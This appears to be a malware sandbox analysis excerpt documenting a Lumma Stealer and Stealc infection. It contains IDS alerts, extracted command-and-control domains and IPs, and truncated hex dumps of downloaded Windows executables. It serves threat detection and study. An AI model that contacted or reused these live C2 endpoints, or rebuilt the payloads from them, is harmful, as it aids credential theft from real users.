Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.6:59078 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.6:58626 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50072 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50066 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.6:61858 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.6:51597 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49713 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49713 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49712 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49712 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49750 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49716 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:49710 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:49877 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:49951 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:50057 -> 104.102.49.254:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: clearancek.site
Source: Malware configuration extractor	URLs: eaglepawnoy.store
Source: Malware configuration extractor	URLs: mobbipenju.store
Source: Malware configuration extractor	URLs: studennotediw.store
Source: Malware configuration extractor	URLs: bathdoomgaz.store
Source: Malware configuration extractor	URLs: licendfilteo.site
Source: Malware configuration extractor	URLs: spirittunek.store
Source: Malware configuration extractor	URLs: dissapoiznw.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 09:02:28 GMTContent-Type: application/octet-streamContent-Length: 1880576Last-Modified: Thu, 24 Oct 2024 08:57:47 GMTConnection: keep-aliveETag: "671a0c0b-1cb200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 10 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 4a 00 00 04 00 00 f3 f5 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2c f6 49 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 dc f5 49 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 29 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 63 6d 65 62 74 78 77 00 a0 19 00 00 60 30 00 00 98 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 6d 66 7a 7a 67 76 65 00 10 00 00 00 00 4a 00 00 04 00 00 00 8c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 4a 00 00 22 00 00 00 90 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 09:02:33 GMTContent-Type: application/octet-streamContent-Length: 1829376Last-Modified: Thu, 24 Oct 2024 08:57:40 GMTConnection: keep-aliveETag: "671a0c04-1bea00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 10 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 69 00 00 04 00 00 11 d1 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 29 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 66 6e 69 73 7a 68 69 00 90 19 00 00 70 4f 00 00 88 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 75 6e 6e 70 75 67 67 00 10 00 00 00 00 69 00 00 04 00 00 00 c4 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 69 00 00 22 00 00 00 c8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 09:02:35 GMTContent-Type: application/octet-streamContent-Length: 2785280Last-Modified: Thu, 24 Oct 2024 08:00:09 GMTConnection: keep-aliveETag: "6719fe89-2a8000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 36 c3 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 74 6b 65 75 66 77 78 61 00 20 2a 00 00 a0 00 00 00 20 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 63 73 6b 63 6c 64 68 00 20 00 00 00 c0 2a 00 00 04 00 00 00 5a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2a 00 00 22 00 00 00 5e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 09:02:46 GMTContent-Type: application/octet-streamContent-Length: 2888192Last-Modified: Thu, 24 Oct 2024 08:57:33 GMTConnection: keep-aliveETag: "671a0bfd-2c1200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 90 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2f 00 00 04 00 00 40 f8 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 e0 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 74 6f 70 6d 77 77 75 00 80 29 00 00 00 06 00 00 7a 29 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 77 6e 6e 79 70 69 73 00 10 00 00 00 80 2f 00 00 06 00 00 00 ea 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 2f 00 00 22 00 00 00 f0 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 09:02:52 GMTContent-Type: application/octet-streamContent-Length: 1829376Last-Modified: Thu, 24 Oct 2024 08:57:40 GMTConnection: keep-aliveETag: "671a0c04-1bea00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 10 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 69 00 00 04 00 00 11 d1 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 29 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 66 6e 69 73 7a 68 69 00 90 19 00 00 70 4f 00 00 88 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 75 6e 6e 70 75 67 67 00 10 00 00 00 00 69 00 00 04 00 00 00 c4 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 69 00 00 22 00 00 00 c8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 09:02:58 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Thu, 24 Oct 2024 07:59:43 GMTConnection: keep-aliveETag: "6719fe6f-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 67 fe 19 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 1b f6 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 09:03:05 GMTContent-Type: application/octet-streamContent-Length: 314368Last-Modified: Sun, 29 Sep 2024 08:19:54 GMTConnection: keep-aliveETag: "66f90daa-4cc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 